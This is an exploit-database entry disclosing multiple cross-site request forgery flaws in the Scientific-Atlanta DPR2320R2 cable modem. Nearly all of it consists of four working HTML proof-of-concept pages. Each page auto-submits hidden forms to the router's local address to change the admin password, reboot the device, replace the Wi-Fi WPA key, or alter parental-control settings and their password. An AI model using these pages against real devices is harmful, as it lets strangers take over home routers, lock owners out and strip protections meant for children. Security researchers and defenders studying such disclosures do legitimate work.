Scientific-Atlanta, Inc. DPR2320R2 - Multiple CSRF vulnerability



EDB-ID: 29927 CVE: 2013-7043 OSVDB-ID: 100623
Author: sajith Published: 2013-11-30 Verified: Not Verified
Exploit Code:   Download Vulnerable App:   N/A

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[~] Exploit Title:  DPR2320R2 [Scientific-Atlanta, Inc.(A Cisco COMPANY)]
:: Multiple CSRF vulnerability
[~] Author: sajith
[~]Category: Hardware/Wireless Router
[~] vendor home page:
http://www.cisco.com/web/consumer/support/modem_DPR2320.html
[~] Software Version: v2.0.2r1262-090417

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(1) Attacker can change the modem authentication password using CSRF
vulnerability .check the below POC

<html lang="en">
<head>
<title>POC by sajith shetty</title>
</head>
<body>
<form action="http://192.168.0.1/goform/RgSecurity" id="formid"
method="post">
<input type="hidden" name="Password" value="123456" />
<input type="hidden" name="PasswordReEnter" value="123456" />
</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>


(2)Attacker can reboot modem using CSRF vulnerability(check below POC)


<html lang="en">
<head>
<title>POC by sajith shetty</title>
</head>
<body>
<form action="http://192.168.0.1/goform/restart" id="formid" method="post">
<input type="hidden" name="Restart" value="" />
</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>




(3)wireless settings can be exploited using CSRF vulnerability.below POC
shows how password is changed for n/w

authentication WPA-PSK with WPA-encryption set to TKIP(these setting can
also be changed)


<html lang="en">
<head>
<title>POC by sajith shetty</title>
</head>
<body>
<form action="https://192.168.0.1/goform/wlanSecurity" id="formid"
method="post">
<input type="hidden" name="NetworkAuthentication" value="3" />
<input type="hidden" name="WpaEncryption" value="1" />
<input type="hidden" name="WpaPreSharedKey" value="12345678" />
<input type="hidden" name="WpaRekeyInterval" value="0" />
<input type="hidden" name="GenerateWepKeys" value="0" />
<input type="hidden" name="WepKeysGenerated" value="0" />
<input type="hidden" name="commitwlanSecurity" value="1" />
</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>


(4)Parental control set up can be disabled or password set for parental set
up can be changed by CSRF vulnerability[POC shown below]


<html lang="en">
<head>
<title>POC by sajith shetty</title>
</head>
<body>
<form action="http://192.168.0.1/goform/RgParentalBasic" id="formid"
method="post">
<input type="hidden" name="NewContentRule" value="" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="NewKeyword" value="" />
<input type="hidden" name="KeywordAction" value="0" />
<input type="hidden" name="NewDomain" value="" />
<input type="hidden" name="DomainAction" value="0" />
<input type="hidden" name="NewAllowedDomain" value="" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="1234" />
<input type="hidden" name="ParentalPasswordReEnter" value="1234" />
<input type="hidden" name="AccessDuration" value="30" />
</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>